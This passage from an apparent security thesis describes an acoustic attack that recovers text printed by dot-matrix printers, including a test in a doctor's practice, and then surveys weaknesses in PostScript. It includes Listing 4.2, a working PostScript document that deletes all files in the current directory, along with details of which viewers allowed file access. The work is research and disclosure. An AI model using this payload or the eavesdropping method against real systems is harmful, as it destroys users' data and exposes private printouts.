be summarized as follows (details are given below): Several parameters of these
modified set-ups did not affect the recognition rate and gave comparable results,
e.g., using cheaper microphones or using different printers (of the same model)
for the training phase and the recognition phase. Using proportional instead of
mono-spaced fonts or using different printer models only slightly decreased the
recognition rate. Some considerably stronger modifications, however, did not
work out at all, and they can be seen as conceptual limitations of our attack.
This comprises using completely different printer technologies such as ink-jet or
laser printers (because of the absence of suitable sound emissions that can be
used to mount the attack). We provide statistical results on these modifications
below.

Using Different Microphones

Our experiments indicate that information that is most relevant for us is carried
in the frequency range above approximately 20 kHz, see Section 3.3. Microphones
with nominal frequency range higher than 20 kHz are rather expensive, e.g., the
Sennheiser microphone referred to in Section 3.5.1 has a frequency range up to
50 kHz and costs approximately 1300 dollars. However, our experiments show
that some microphones with a lower nominal frequency range are sensitive to
higher frequencies as well (possibly with less accurate frequency response, but
this has no noticeable influence on the recognition rate as long as we are using
the same microphone for recording both the training data and the attack data).
Table 3.3 shows in the second row the recognition rates of one sample article using
a small Sennheiser ME 2 clip-on microphone with nominal frequency range up to
18 kHz for approximately 130 dollars. The results obtained with this microphone
are only slightly worse than the results using the larger Sennheiser microphone.
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Using Different Dot-Matrix Printers

We also evaluated if the printer model influences the recognition rate. The third
row of Table 3.3 shows the recognition rates of one article printed with an OKI
Microline 1190 printer. The recognition rate is slightly worse than for the Epson
printer.

So far we always considered the set-up that training data and the attacked
text are printed on the same printer. In a realistic attack scenario, however,
it is unlikely that the attacker can print the training data on the same printer,
but instead arranges access to another printer of the same printer model that he
places in an acoustically similar environment. Our in-field attack described in
detail in Section 3.7 is of this kind. We demonstrate that the recognition rate
only decreases slightly when using a different printer in the training phase.

For this experiment we used the feature database that we previously recorded
in the experiment described in Section 3.5.2, and printed one article on another
Epson LQ-300+II printer that we bought from a different vendor. The recognition
rate is shown in Table 3.3, indicating a decrease of recognition rate of about 8 %
only, compared with the results from Section 3.5.2. This shows that it is practical
to train a large dictionary offline. In the in-field attack described in Section 3.7
we use this result and train a dictionary on a separate printer.

Using Proportional Fonts

Mono-spaced fonts are commonly used in many applications of dot-matrix print-
ers; in particular, the built-in fonts are mono-spaced, and most applications seem
to use these built-in fonts. Using proportional fonts results in a more compact
representation of words that amplifies the effect of blurring. However, our exper-
iments demonstrate that the recognition still works well, at a slightly lower rate
(see Table 3.3).

Why the Reconstruction Works Conceptually

The fundamental reason why the reconstruction of the printed text works is that,
intuitively, the emitted sound becomes louder if more needles strike the paper at
a given time. We verified this intuition and we found that there is a correlation
between the number of needles and the intensity of the acoustic emanation (see
Figure 3.9).

The direct correlation between sound and the number of needles gives rise to
an alternative approach to the reconstruction: Determine the number of needles
that strike at each point in time from the acoustic intensity, and correlate these
values with the characteristics of individual letters. One can use language models
to resolve ambiguities (e.g., the letters “p” and “b” are very similar). This
approach would have the advantages that no large dictionary needs to be trained,
that it can potentially recognize single letters or numbers, and that it can (to a
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Figure 3.7: Print-head of an Epson LQ-300+II dot-matrix printer, showing the two
rows of needles.

Figure 3.8: Each graph shows the variation of the intensity (y-axis) over time (x-axis)
measured when printing a single vertical line, demonstrating the variations that can
occur.
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Figure 3.9: Graph showing the correlation between the number of needles striking the
ribbon and the measured acoustic intensity (y-axis) over time (x-axis).

certain extent) handle graphics. We identified three different sources of blur that
we would need to cope with:

• Most modern print-heads are arranged in two rows (see Figure 3.7); this
means that two subsequent letters are printed at the same time.

• Even a single needle does not give an ideal sharp peak, but the peak is
blurred over time.

The effect of these two kinds of blur can be seen in Figure 3.8. We found that
they can be removed reliably using standard deconvolution techniques.

• However, when printing several adjacent characters additional blur is pres-
ent. We are not sure about its origin, but assume that parts in the printer
get into resonance, thus destroying clear patterns.

We implemented this approach, but found that it performs much worse than
our previous approach. We believe that resonances make this approach so hard;
when training entire words then there is enough decay time between the words
to lessen this effect. We therefore abandoned this approach and instead used the
word-based approach.

On Attacking Other Printer Technologies

While dot-matrix printers are still deployed in some security-critical applications
(see Figure 3.1), they have been replaced by other printer technologies such as
ink-jet printers and laser printers in other applications. Ink-jet printers might be
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Figure 3.10: Ink-jet printer, disassembled for analysis.

susceptible to similar attacks, as they construct the printout from individual dots,
as dot-matrix printers do. On the one hand, the bubbles of ink might produce
shock-waves in the air that potentially can be captured by a microphone; on
the other hand, the piezo-electric elements used in some ink-jet printers might
produce noise that can be measured. However, we were not able to capture
these emanations. One reason might be that these faint sounds, if they exist, are
dominated by the noise emitted by the mechanical parts of a printer. For laser
printers, one expects that no information about the printed text is leaked, and
our experiments support this view. Thus, to the best of our knowledge, modern
printer technologies seem to be unaffected by this kind of attack.

On Domain-specific Language Modeling

In our experiments, we trained our language models using data that was not
tailored to a certain topic. Consequently, we obtained medium improvements
for all our sample articles. It is well-known that the recognition rates can be
significantly improved if one exploits prior knowledge about the topic of the
article, using domain-specific corpora for language model training.5 Thus our
results may be seen as a lower bound on what can be achieved in a concrete
scenario.

5In one of our experiments we found anecdotal evidence for this phenomenon: We wondered
why the 5-gram “a = did not participate” was ranked among the 1100 most frequent 5-grams.
It turned out that “A = did not participate in the tournament.” is a common label for tables
counting the tournament participation of sportsmen on Wikipedia.
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Top 1 (Top 3 )

Short distance, no cover 62 % (78 %)

With cover 24 % (35 %)
With foam box 51 % (63 %)
From 2 meters 4 % (6 %)
Closed door 0 % (0 %)

Table 3.4: More Results of the reconstruction evaluating the effectiveness of different
countermeasures. (These control experiments were conducted on a shorter text than the
previous experiments, no HMM post-processing was applied.)

3.6 Countermeasures

The (obvious) idea that underlies all countermeasures is to suppress the acoustic
emanations so far that reconstruction becomes hard in practical scenarios.

Acoustic shielding foam: The specific printer model that we used in most ex-
periments has an optional printer cover with embedded acoustic shielding foam.
Closing this cover absorbs a substantial amount of the acoustic emanation (see
Table 3.4). To further evaluate this idea, we built a box out of ordinary acoustic
foam and placed the printer inside (see Figure 3.11). In contrast to the results
with the cover, the recognition rate for the foam box was surprisingly good; 51 %
of the words were reconstructed successfully. We believe that the shielding char-
acteristics of the two types of foam suppress different ranges of the acoustic
spectrum and thus have different effects on the reconstruction rate.

Distance: Our experiments indicate that the recognition rate drops substantially
if the distance between the printer and the microphone is increased. From a
distance of 2 meters, the recognition rate drops to approximately 4 % (see Ta-
ble 3.4). From this distance our algorithm for splitting the signal into words
requires manual intervention, as the audio signal contains more noise. However,
we stress that this limitation can be circumvented in an in-field attack by placing
a miniaturized wireless bug in close proximity to (or even in) the printer.

Closed door: We also tested the reconstruction from outside the printer’s room
with the door closed; the overall distance between the printer and the microphone
was 4 meters. As expected, we found that in this setup no reconstruction was
possible at all.

Our results indicate that ensuring the absence of microphones in the printer’s
room is sufficient to protect privacy. Unfortunately, this evaluation is not guaran-
teed to be complete; we merely state that our attack does not work under these
circumstances. However, we believe that the potential for improvement is limited;
thus the above discussion still provides reasonable estimates.
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Figure 3.11: Printer in foam box for shielding evaluation.

3.7 In-Field Attack

We have successfully mounted the attack in-field in a doctor’s practice to recover
the content of medical prescriptions. For privacy reasons, we asked for permission
upfront and let the secretary print fresh prescriptions of an artificial client. The
attack was conducted under realistic – and arguably even pessimistic – circum-
stances: during rush hour, with many people chatting in the waiting room.

We recorded the emitted sounds of printing seven different prescriptions on
the doctor’s Epson LQ-570 printer, and bought a printer of the same type at
Ebay. In a blind experiment, seeing only six of the printed prescriptions and
trying to determine the medication on the seventh prescription, we carried out
the following steps:

1. From the available printouts, we first identified the position of the pre-
scribed medication, the direction of printing, and the used font.

2. Using a suitable threshold, we subsequently determined the correct length
and the white-space positions.

3. From a publicly available list of medications [78], we then determined pos-
sible candidates that matched these lengths. Abbreviations of words were
taken into account here as well. The list of remaining candidates consisted
of 29 entries.

4. The selection of candidate words (without HMM post-processing) then al-
ready revealed the correct medication out of the remaining 29 candidates.
We took into account the possibility of abbreviations on the prescription.
For each white-space delimited word we only printed one character less than
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Figure 3.12: The setup of the attack.

the length of the word in the recording (taking into account a trailing dot)
and matched only the beginning of the word without the dot.

The correct medication was “Müller’sche Tabletten bei Halsschmerzen,” a
medication against sore throat. The printing was abbreviated on the pre-
scription as

Müller’sche Tabletten bei Halsschm.

In a nutshell, the attack was actually easier to conduct in this practical scenario
compared to the experiments in Section 3.5, because we were able to substantially
narrow down the list of candidates by taking into account length information of
the medication.

3.8 Conclusion

We have presented a novel attack that takes as input a sound recording of a dot-
matrix printer processing English text, and recovers up to 72 % of printed words.
After an upfront training phase, the attack is fully automated and uses a combi-
nation of machine learning, audio processing and speech recognition techniques,
including spectrum features and Hidden Markov Models; moreover, it allows for
feedback-based incremental learning. We have identified and evaluated counter-
measures that are suitable to prevent this kind of attack. We have successfully
mounted the attack in-field in a doctor’s practice to recover the content of medical
prescriptions under realistic conditions. Moreover, we have shown the relevance
of this attack by commissioning a representative survey that showed that dot-
matrix printers are still deployed in a variety of sensitive areas, in particular by
banks and doctors.
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The nice thing about standards is that

there are so many of them to choose from.

— Andrew Tanenbaum

4
PostScript Vulnerabilities

We demonstrate several weaknesses in the design of the PostScript document
description language. Our main contribution is a conceptually new covert channel
in the (scientific) peer-reviewing process, which allows the author of a document
to de-anonymize the reviewer. The PostScript document created by the author
here acts as sender on the covert channel. Furthermore, we demonstrate that
electronic signatures on PostScript documents can be fooled, that a virus can
be written entirely in PostScript, and that some PostScript viewers even allow
for deleting and writing arbitrary files on the user’s file system (we informed the
authors of these viewers and worked with them to remedy these problems).

4.1 Introduction

PostScript and its successor PDF (Portable Document Format) today are the
de-facto standards for electronic publishing. Both file formats are ubiquitous:
they are used for publishing information brochures, handbooks, data-sheets, sci-
entific articles, pre-prints, blank forms, and many more. These documents often
are available for download, and often the user has no possibility to verify the
trustworthiness of the party that created the document. Many users open these
documents from within the browser without further precautions. The situation
is entirely different when downloading software: most current browsers warn the
user from a potential security risk, and many people are aware of the risks of
executing untrusted software.

The absence of precautions for PostScript and PDF documents is probably
caused by the belief that these document are text documents and thus cannot
harm the users computer, as opposed to software. However, for PostScript doc-
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uments (and to some extent also for PDF documents) this belief is not justified:
In fact, PostScript is a Turing-complete programming language and supports ac-
cess to the local file system. This was recognized in 1992 [53], and since then
PostScript implements mechanisms that try to prevent documents from access-
ing local files. However, these measures are insufficient to ensure security against
malicious documents.1

Note that, although PDF is the newer standard and it is successively replacing
PostScript in some areas, both the availability of PostScript on virtually any
platform and the support by a large number of printers result in wide deployment
of PostScript still today. This is particularly true in scientific publishing.

Our main result demonstrates that the privacy of the reviewer in anonymous
peer-review can be undermined by a maliciously prepared PostScript document.
This attack can be seen as an example of an incomplete modeling of the informa-
tion flow occurring in the publishing process which in turn gives rise to natural
exploits of the weaknesses of the PostScript language. But even worse, our ex-
periments show that some PostScript interpreters take no measures to protect
the user from malicious documents: some programs do not restrict access to the
local file system at all, which gives rise to a variety of additional attacks. This
also enables us to program a virus that is entirely written in PostScript.

4.1.1 Related Literature

The back-channel we demonstrate in Section 4.6 can be seen as a novel form of
a covert channel [70]. Covert channels typically transmit data on an electronic
link, usually a network connection, e.g., by exploiting different execution times
resulting in observably different behaviors [81, 5, 30], or by employing stegano-
graphic techniques to hide data within other data (see [7] for a survey). In our
scenario the PostScript document plays the role of the sender, while the author
is the receiver. In contrast to many other covert channels our channel is not an
electronic one but constitutes a socially-engineered back-channel.

Furthermore, our approach for implementing the back-channel has similarities
to the notion of watermarking schemes [38, 54]. While robust watermarking
schemes provide measures that prevent the watermark from being removed from
the document, fragile watermarking schemes aim to detect if a document was
tampered with. Thus they do not precisely fit our setting as we rather rely on
the usual behavior of a reviewer and are not primarily interested in whether an
existing document was modified. Another related concept is traitor tracing [34,
25, 19], which allows for detecting a party who leaked a secret, e.g., a secret
decryption key. Again there are similarities at the surface, but the exact setting
and the technical realization of our work is quite different since the reviewer does
not intentionally leak its secret but is tricked into leaking it without noticing.

1Here and in the following we are not considering implementation glitches which tend to
appear in and threaten the security of most complex applications, but problems inherent in the
design of the software.
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A platform independent virus [76] was implemented in LATEX, but it required
the presence of the GNU Emacs editor for being fully operational. A virus that
shares most ideas of the construction of our virus is the virus Bradley [46], but this
virus is platform-specific. It consists of a decryption module and an the encrypted
payload that contains the remaining functionality. The authors prove that this
virus cannot be analyzed beyond the information found in the decryption module
– though it can be recognized by that code fragment.

A number of surprising PostScript hacks can be found. This includes a Web-
server [59], an HTML-renderer [29], and a simple Ray-Tracer [123], all written in
PostScript. The previously discovered weaknesses of the PostScript language and
the decisions that led to the current (insufficient) sandboxing model implemented
in GhostScript can be found at the GhostScript change-log [52].

Several flaws in the PDF format were found previously. These flaws are
conceptually different from our findings, as they are caused by implementation
glitches such as buffer overflows [109, 110], race conditions [111], or alike, and
often are bound to a particular viewer. In contrast, our findings are based on
conceptual problems on the design level.

4.1.2 Chapter Outline

Section 4.2 provides a brief introduction to the PostScript language. In Sec-
tion 4.3 we examine the differences between different PostScript interpreters that
are relevant for our work. We demonstrate some simple attacks in Section 4.4 and
demonstrate a PostScript virus in Section 4.5. We then describe the back-channel
in the peer-review process in Section 4.6. We explain in Section 4.7 why similar
attacks based on PDF files are much harder or even impossible and show some
possible countermeasures in Section 4.8. We conclude with a final discussion in
Section 4.9.

4.2 PostScript Primer

PostScript is a page description language, i.e., a programming language optimized
for printing graphics and text. It was released in 1985 by Adobe [2] and can be
seen as a successor of the InterPress description language developed at Xerox
PARC for the early Xerox laser printers [95]. Nowadays, the Portable Document
Format (PDF) by Adobe is gradually replacing PostScript in electronic publishing.
However, there are still several areas were PostScript is widely used, and it seems
unlikely that PostScript vanishes any time soon. In particular, PostScript is
dominant for the vast number of (semi-)professional printers that use PostScript
as page description language, there exists an impressive tool-chain for PostScript
which is available on essentially any Unix-like operating system, the Encapsulated
PostScript (EPS) file format is still widely used for vector graphics, in particular
in scientific publishing, and more.
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From a programmers point of view, PostScript is different from most other
programming languages: It is stack-based, the set of operators is larger than in
other languages and tailored to the specific application, and (almost) all language
constructs can be redefined. Typically, PostScript code is generated by a word
processor or a device driver, and only rarely it is written by hand, e.g., to achieve
special effects. In the following we give a brief introduction to PostScript for the
convenience of the reader; a comprehensive treatment is beyond the scope of this
text. The interested reader can find more details about the PostScript language
in Adobe’s Red-book [2], which is the de-facto PostScript reference, and in some
other books on the topic [1, 102].

4.2.1 Basic Concepts

PostScript is an interpreted, Turing-complete, and stack-based programming lan-
guage. The interpreter parses the file to find the next token, and then immediately
executes it. Tokens are delimited by white-space, exceptions being some delim-
iters ([,],{,},<<,>>) that form a token on their own. Tokens are interpreted as
describe in the following.

• Strings. Tokens enclosed in round brackets (( )) or angle brackets (< >)
are interpreted as strings and are pushed to the stack. Round brackets
indicate that the string is given as text, whereas angle brackets indicate
that the string is encoded in hexadecimal notation. (White-space inside
the round brackets is considered part of the string.)

• Comments. Every occurrence of a percent sign (%) outside a string marks
the beginning of a comment that spans to the end of the line. A special
comment (%!PS) at the beginning of a file identifies the file as a PostScript
program. (There are more specific identifiers for the different language
levels and for Encapsulated PostScript files.)

• Numbers and Boolean Values. A token that can be parsed as an integer
or a float, or which equals true or false, is converted to a number or a
Boolean value, respectively, and pushed to the stack.

• Literal name. A token starting with a slash (/) is interpreted as a literal
name or identifier (i.e., a variable or function name) and is pushed to the
stack marked as name.

• Arrays. A sequence of tokens delimited by square brackets ([ ]) creates an
array which is pushed to the stack.

• Functions. A sequence of tokens delimited by curly brackets ({ }) is treated
as a function which is pushed to the stack. It can later be called from the
stack, or it can be assigned a name and be called just like a built-in operator.
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• Dictionaries. Double angle brackets (<< >>) delimit a dictionary, a set of
value-key pairs. There are several built-in dictionaries, but we use only two
of them: systemdict holds the in-built operators, and errordict holds
the error-handlers.

• (Executable) Names. A token that consists of regular characters only and is
not covered by any other category listed above is treated as an (executable)
name. If an operator or a function with this name exists it is executed,
otherwise an error occurs.

This list is not complete; to increase readability we omit some aspects that are
not relevant for our work.

4.2.2 Operators

The number of operators (built-in functions) is larger than in most multi-purpose
programing languages. As a consequence, we focus on common operators and
those that we use in the sequel. In particular we avoid almost all operators that
deal with the typesetting and imaging capabilities of PostScript. For full details
we refer to the Language Reference Manual [2].

Operators take their arguments from the stack, thus they are written in Re-
verse Polish Notation. All operators can be redefined by the program. We use
the following conventions in the description of the operators: a b op c means
that the operator op reads two elements a and b from the stack and pushes an
element c back to the stack. A leading dot (.) marks the beginning of the stack,
a hyphen (-) indicates the absence of elements.

Stack Manipulation. The stack is one of the central concepts, and there is a
number of commands to manipulate the order of objects on the stack.

• a pop - Discards the top element of the stack.

• a dup a a Duplicates the top element of the stack.

• a b exch b a Exchanges the two elements on top of the stack.

• .a...z clear . Discards all objects on the stack.

• - mark mark Puts a mark object mark on the stack. All mark objects
are identical.

• mark a...z cleartomark - Removes entries from the operand stack
until it encounters a mark mark, which is also removed.
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Strings and Numbers. PostScript offers operators for calculating with inte-
gers and floats and for string manipulation.

• a b add c Adds two integer or float values a and b and pushes their
sum c to the stack.

• a b idiv c Divides integer a by b and pushes the result c to the stack,
truncated if necessary.

• n string str Creates a string str of length n and pushes it on the stack;
each character is initialized as 0.

• str n get a Pushes the n-th character of the string str to the stack,
where the index starts at 0.

• str n a put - Sets the n-th position of the string str to a, where the
index starts at 0.

Branching, Looping, and Boolean Values. PostScript supports conditional
branching as well as looping, and a number of Boolean operators.

• b proc if - Removes both operands from the stack. It executes proc if
the Boolean value b is true. The operator if does not push a result on the
stack, but the function proc may do so.

• proc loop - Removes the operand from the stack and repeatedly exe-
cutes proc, until proc executes the exit operator. At this point interpreta-
tion resumes at the object next in sequence after the loop operator. Again,
the operator loop does not push a result on the stack, but proc may do so.

• - exit - Terminates execution of the innermost instance of a looping
context (i.e. a procedure invoked by loop). The interpreter then resumes
execution at the next object in normal sequence after that operator. The
operator leaves the operand stack unchanged.

• start step stop proc for - This operand implements a for-loop: The
stepping variable is initialized with the value start, is incremented by step

after each turn, and the loop is terminated after the stepping variable ex-
ceeded stop. In each turn, the stepping variable is pushed to the stack and
proc is called. Typically proc pops this value from the stack, but otherwise
the value is left on the stack.

• a b eq c Compares a and b of type integer or string and returns true if
they are equal and false otherwise. The usual comparison operators and
Boolean operators exist: ne, gt, ge, lt, le take operands of type integer or
string, and, not, or, xor take operands of type Boolean or integer, where
in the later case the operation is carried out bit-wise.
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Creating Output. There is a vast number of operators to perform output. We
concentrate on those operators that we use in the sequel, namely output to the
console and basic text output.

• str print - Writes the string str to standard output, typically to the
console (if the device has one).

• font n selectfont - Sets the current font to the font specified by the
literal name font of size n units (one unit equals 1/72 inch, approximately
a point).

• x y moveto - Move the output cursor to position (x,y), where the ori-
gin is in the lower left corner of the paper and x and y are specified in
units.

• string show - Prints string to the output device.

• - showpage - Renders the current page, sends it to the output device,
and starts a new page. This command is device-dependent, and can be
omitted for some screen devices.

Arrays and Dictionaries. PostScript supports complex data structures such
as arrays and dictionaries (sets of key-value pairs). Dictionaries play an important
role, e.g., most of the internal structure of PostScript is stored in dictionaries.

• - systemdict dict Pushes the system dictionary to the stack. The
system dictionary contains all standard operators of the PostScript language
and is read-only.

• - errordict dict Pushes the error dictionary to the stack. The error
dictionary contains the error handlers that are invoked when an error occurs.
The values in this dictionary can be re-defined to implement custom error
handlers.

• dict key known bool Tests if key is defined as a key in the dictionary
dict and pushes the result to the stack.

• key load val Searches the dictionary userdict for key and pushes the
associated value to the stack if found, otherwise an error occurs. (Actually
the decision which dictionary is to be searched is more complex and depends
on the dictionary stack; we omit an in-depth discussion as it is not relevant
for our code examples.)

• struc index val put - There are several forms of this command. If
struc is a dictionary then the value associated to the key index is set to
the value val. If struc is a string then the position index is set to the
character corresponding to the integer val. If struc is an array then the
value at position index is set to the value val.
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• struc index get val Analog to the put operator: If struc is a dictio-
nary then the value associated to the key index is returned. If struc is
a string then the character at position index is returned. If struc is an
array then the value at position index is returned.

• struc length int If struc is a dictionary or an array then the number
of entries is returned, if struc is a string then the length of the string is
returned.

The exposition of dictionaries given here is strongly simplified to increase read-
ability. For full details we refer to Adobe’s Red Book [2].

File System and Environment Access. PostScript offers several operators
for accessing the file system and the environment, but some of them are disabled
on some interpreters, see the discussion in Section 4.3. Some central operators
are the following:

• fname param file file Opens the file with name fname with parameters
param, where common choices for param are “r” for reading only (error if
the file does not exist), “w” for writing only (overwrite if it does exist), or
“a” for appending (create if the file does not exist). The operator returns a
file object file.

• file string readline substring bool Reads a line (terminated by a
newline character) from file and returns the line as substring of string

(strings need to be allocated), as well as a Boolean variable indicating if the
operation succeeded.

• file string writestring - Writes the parameter string to file.

• file closefile - Flushes and closes the file associated with the file han-
dle file.

• fname deletefile - Deletes the file with name fname.

• template proc scratch filenameforall - Iterates over all file names
that match the pattern given in the string template. In the pattern, a
star (*) matches zero or more consecutive characters, a question mark (?)
matches exactly one character, and a backslash (\) escapes both characters.
For each matching file, the filename is pushed on the stack (as substring of
scratch) and proc is executed.

If proc does not pop the filename from the stack, the string is left on
the stack. (Some aspects of the behavior of this command are device-
dependent.)
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• string getenv (string) bool This command is a GhostScript-specific
extension of the PostScript language. It reads the environment variable with
the name string and returns the value of the variable and true if such an
environmental variable existed, otherwise it returns false and no string.

It might be surprising that a text-document is given access to the local file sys-
tem. A possible explanation is that some interpreters such as the GhostScript
interpreter are partially written in PostScript, and these parts require access to
local files.2

Miscellaneous. Finally we give some operators that do not fit the other cate-
gories.

• x cvx x’ This operator marks the top element x as executable. It can,
for example, be used to convert a string of the correct form to a procedure
that can then be called with the exec operator.

• proc exec - Executes the procedure proc.

• name val def - Takes the literal name name and associates it with the
value val. Typically it is used to define procedures as in the following
example: /addfive {5 add} def 4 addfive print outputs 9.

• proc bind proc By default, the operator calls made in a procedure are
determined at run-time (late binding). The operator proc performs early
binding for the procedure proc, i.e., it substitutes all operator calls in proc

with their values.

A typical use-case is when re-defining standard operators, but one needs to
store the original function: the following code /oldshow {show} bind def

/show { [...] oldshow} def re-defines the show operator in a way that
calls the old operator after performing some other computation.

The SAFER-Mode. The developers of the GhostScript interpreter realized
early in 1992 [53] the danger that file access can pose, and introduced the SAFER-
mode to mitigate this danger. The SAFER mode disables commands that are
considered harmful, in particular read-access to files in non-standard folders, and
any write-access to the file system. However, it took almost a decade until it
reached its current form, as a number of subtle ways to access the file system
where identified over time, and more restricted access leads to incompatibilities
with existing code. The last change to the specifications was made in 2001, almost
a decade later.

In its current form (as of version 8.64, released 02/2009), the SAFER-mode
disables the operators deletefile and renamefile, and the ability to open piped

2This explanation is given in the GhostScript Developer FAQ Section 4.4 [52].
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commands. Only %stdout and %stderr can be opened for writing. It disables
reading of files other than %stdin, those given as a command line argument, or
those contained in one of the paths given by LIBPATH and FONTPATH and spec-
ified by the system parameters /FontResourceDir and /GenericResourceDir.
GhostScript offers command-line switches, as well as an operator to switch to
SAFER-mode from inside a program (but obviously no operator to switch back).
This ensures back-wards compatibility with most extensions.

While the SAFER-mode offers some amount of protection against malicious
documents, several problems persist. In particular, the document can still read a
substantial amount of information from environment variables and filenames, in
particular it can usually identify the user. We demonstrate in Section 4.6 that
this is highly problematic.

Even worse, other PostScript interpreters do not offer any protection against
undesirable file access and leave their users completely unprotected. Most notably,
we found that Adobe Distiller 7 (released 01/2005) as well as the Evince document
viewer v. 2.26.1 (as of 06/2009) did not impose any restrictions and provided full
write (and delete) access to the local hard-disk. We informed the authors of both
programs: Adobe Distiller 8 (released 11/2006) disables most access to the file
system, and the latest version of Evince is patched as well.

The Document Structuring Conventions (DSC). The design of PostScript
as a Turing-complete programming language poses problems for document view-
ers: for instance, it is hard to skip or re-order pages, to determine the number of
pages a document has, or even to scroll one page backwards.

To prevent these problems, the Document Structuring Conventions (DSC)
were designed. The DSC require a certain structure of the source-code: For
instance, all global definitions appear in a marked preamble, and each page is
marked and independent of the other pages. Furthermore, it requires the use of
standardized comments to indicate the number of pages, the start and the end
of the pages, their ordering, the page bounds, and some more.

In this work we do not consider DSC-conform documents, but simply state
that our techniques are independent from these issues, and all of our code exam-
ples can be embedded to DSC-conform PostScript documents.

4.2.3 An Example Document

To demonstrate some of the central concepts of PostScript we give a small example
program (Listing 4.1). The program prints the string “Hello World!” on the
output device. In order to demonstrate the usage of procedures and variables, we
artificially complicate this task: the string is stored with a spelling error, which
is corrected inside the PostScript code before it is printed on the display.

• Line 1 identifies the file as a PostScript document.
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1 %!PS
2 /ascii 64 def % Define a variable
3 / getletter {ascii add} def % Define a function
4

5 /Courier 16 selectfont % Select font and size
6 70 700 moveto % Set initial position
7

8 (Hello Xorld! \n) dup % Push string on stack, duplicate
9 23 getletter % Call function with argument ”23”

10 6 exch put % Set position 6 of string
11 show showpage % Output result on display

Listing 4.1: A simple PostScript document demonstrating some central concepts of the
language. It can be viewed with any PostScript viewer, or it can be sent directly to a
PostScript printer.

• In line 2, a variable ascii is defined with value 64. More precisely, a new
entry with key ascii and value 64 is put into the userdict dictionary (the
ASCII-code of the letter “A” is 65).

• In line 3, a function getletter is defined that adds 64 to a number on the
stack (again, an entry with key getletter and value the function is put
into the userdict dictionary). In other words, the procedure converts an
integer i to the index of the i-th upper-case letter in the alphabet.

• The output is initialized by selecting a font and giving an initial position
for the output cursor in lines 5 and 6.

• A (mis-spelled) string is pushed to the stack and duplicated in line 8. Keep
in mind that both objects point to the same string, i.e., when manipulating
one string, the other changes as well. In line 9, the function getletter

defined above is called with argument 23; the result is the index of the
letter “W”.

This character is put to the 6-th position in the above string in line 10. The
command exch exchanges the two top-most items on the stack in order to
match the parameters required by the operator put.

• Finally, line 11 displays the (corrected) string on the output device by
calling the operator show.

4.3 Differences between PostScript Interpreters

Some aspects of the PostScript language differ from one implementation to the
other. In this section we briefly describe differences between the most common
PostScript interpreters, focusing on those aspects that are relevant for our work.
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By far the most common Postscript interpreters are Adobe’s Distiller and
Aladdin’s GhostScript. Adobe Distiller is the implementation of PostScript by
Adobe. It is a converter from PostScript to PDF format and is part of the Acrobat
Professional suite. A common alternative is the GhostScript interpreter. Its
development started in 1986. Previously, it was distributed in two versions: the
most current version was distributed as commercial software (AFPL GhostScript)
and a slightly older version was distributed as Open Source (GPL GhostScript).
Currently, the commercial version was abandoned, and new versions are released
under the GPL. GhostScript provides the bare interpreter only. There are a
number of (graphical) front-ends for GhostScript: GhostView, ps2pdf, Evince,
and more. In fact almost all open-source viewers, in particular for Linux, either
require the GhostScript interpreter as external module or are based on its source-
code. As the front-end partially decides with which settings the GhostScript
interpreter is invoked, we need to take different front-ends into account as well.

Some printers accept PostScript as input. When printing a PostScript docu-
ment on such a printer it can be sent to the printer directly, but in practice it is
often rendered on the host machine and then sent to the printer. This is often
the case on Windows computers.

We evaluate a number of implementations for Windows, Mac OS X, and
Ubuntu/Linux using a document that tests several aspects of the implementation.
The results are shown in Figure 4.1. We highlight some details from this table.

• Reading files in the local directory (the location of this directory depends
on the interpreter, but is often the directory where the document is placed)
is permitted by most interpreters, the only exception being the Adobe Dis-
tiller starting with version 8. Similarly, reading the filenames in arbitrary
directories is permitted by all interpreters except Adobe Distiller starting
with version 8. Both can be used to determine the identity of the user on
many systems.

• Version 7 of Adobe Distiller (01/2005) allowed full access to the file system,
i.e., reading, writing, and deleting arbitrary local files. We informed Adobe
of the problem [4] in November 2006; the issue was fixed in an update for
Version 8 (5/2007).

• The developers of the GhostScript interpreter early realized the problems
caused by the expressiveness of the PostScript language and took counter-
measures. However, it took about a decade from the first issued patch to
today’s implementation [53].

Simply disallowing file access was not a viable option, as parts of the in-
terpreter are written in PostScript. The SAFER-switch was added in ver-
sion 2.5 (1992) to disallow explicit file writing and deleting. File access was
further restricted in subsequent versions, e.g. Version 2.9.10-beta (1994),
Version 3.22 (beta) (1994), Version 7.20 (2002), to prevent more subtle ways
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— File Access — Read Directory
Local Global Write Environment Listing
Read Read

GhostView
– Windows (GS 8.51) X − − X X

3

– Windows (GS 8.51) (SAFER off) X X X X X

ps2pdf
– Windows (GS 8.64) X − − X X

– Mac (GS 8.64) X − − X −

– Linux/Ubuntu (GS 8.64) X − − X X

Evince
– v. 0.8.1, Ubuntu 7.04 (GS 815.04) X − − X X

– v. 2.26.1, Ubuntu 9.04 (GS 8.64) X X X X X

TexShop
– Mac (GS 8.63) X − − X X

Adobe Distiller
– Windows, Acrobat 7 (v. 7.0.7) X

4
X X − X

– Windows, Acrobat 8 (v. 8.1.2) − − − − −

Table 4.1: Comparison of the capabilities of some PostScript interpreters. For those
that base on GhostScript, the version that is used is given in brackets.

of access [53]. The strong interleaving of file access and the GhostScript
implementation is illustrated by a number of patches that were necessary
to fix problems arising from the introduction of the SAFER-switch, e.g.,
Version 4.02 (1996), Version 5.0 (1997), added -dDELAYSAFER in Version
6.64 (2001) [53].

• The Evince document viewer version 2.26 (released 03/2009) that ships
with Ubuntu (version 9.04) in the standard installation allows arbitrary
access to the local file system. This is surprising for two reasons: first,
the GhostScript version it bases on has the SAFER flag to prevent this
behavior, and second, the older version 0.8.1 (released 04/2007) did not
allow file access. We filed a bug report, which led to a quick fix of the
problem [43].

3The behavior of GhostScript for Windows is inconsistent: The command filenameforall

only lists those directories which have some attribute set (i.e., which are hidden, read-only, or
system files). The GhostScript source code reveals this to be a bug.

4 The current directory when executing the PostScript code is one of Adobe Acrobat’s tem-
porary directories.
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1 %!PS
2 % WARNING: DELETES ALL FILES IN CURRENT DIRECTORY
3

4 /Courier 16 selectfont 70 700 moveto % Select font
5 (WARNING: DELETING ALL FILES IN DIRECTORY)
6 show showpage
7

8 errordict /ioerror {pop pop} put % Re−define error handlers
9 errordict / invalidfileaccess {pop pop (blocked) show} put

10

11 70 600 moveto
12 (∗.∗) { % Main loop
13 deletefile
14 } 256 string filenameforall

Listing 4.2: A short example document deleting files from the hard-disk.

4.4 Some Simple Attacks

We are now prepared to present three attacks based on PostScript documents.
From a conceptual point of view these attacks are simple, so the most interest-
ing part here is that some interpreters do not prevent them. These attacks do
not require interaction of the user, they are triggered by simply displaying a mali-
